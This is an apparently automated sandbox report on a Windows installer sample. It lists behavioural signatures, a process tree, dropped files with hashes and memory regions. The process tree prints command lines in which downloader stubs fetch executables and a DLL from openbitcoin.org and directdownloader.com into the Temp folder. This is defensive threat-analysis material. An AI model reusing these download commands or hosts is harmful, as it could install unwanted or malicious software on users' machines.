Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/10/2024, 02:14

General

  • Target
    2902d86dc145a01acd2802a7f2003c24_JaffaCakes118.exe
  • Size 492KB
  • Sample241009-cn5dpaxdrd
  • SHA256 d0e179527f6e30dcf216eaed9cda1fcf096a8e0f94da82435a5e9b59e6b89ad7
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2902d86dc145a01acd2802a7f2003c24_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2902d86dc145a01acd2802a7f2003c24_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:872
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3676
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3260
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3664
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1128
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3712
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe 0 "Naissance Des Pieuvres (Dutch subs)" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2316
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3000
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe 1 "Naissance Des Pieuvres (Dutch subs)"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:744
    • C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe 3 "Naissance Des Pieuvres (Dutch subs)"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3124

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        downloaderOFFER2.exe

        • Path C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\downloaderOFFER2.exe
        • Size 58KB
        • SHA256 fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
        • MD5 SHA1 SHA512 SSDEEP

        preinstaller.exe

        • Path C:\Users\Admin\AppData\Local\Temp\50ea8f7b61f77482b664fb6b8dca1375\preinstaller.exe
        • Size 213KB
        • SHA256 19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8
        • MD5 SHA1 SHA512 SSDEEP

        NSISdl.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nstB660.tmp\NSISdl.dll
        • Size 14KB
        • SHA256 dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
        • MD5 SHA1 SHA512 SSDEEP

        Processes.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsxE550.tmp\Processes.dll
        • Size 35KB
        • SHA256 86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7
        • MD5 SHA1 SHA512 SSDEEP

        memory/744-56-0x0000000000400000-0x000000000043F000-memory.dmp

        memory/872-1133-0x0000000000400000-0x0000000000444000-memory.dmp

        memory/872-55-0x0000000000400000-0x0000000000444000-memory.dmp

        memory/872-283-0x0000000000400000-0x0000000000444000-memory.dmp

        memory/872-3662-0x0000000000400000-0x0000000000444000-memory.dmp

        memory/2316-45-0x0000000000400000-0x000000000043F000-memory.dmp

        memory/3124-967-0x0000000000400000-0x000000000043F000-memory.dmp

        memory/3124-686-0x0000000000400000-0x000000000043F000-memory.dmp

        memory/3124-1245-0x0000000000400000-0x000000000043F000-memory.dmp

        memory/3124-2924-0x0000000000400000-0x000000000043F000-memory.dmp

        memory/3124-395-0x0000000000400000-0x000000000043F000-memory.dmp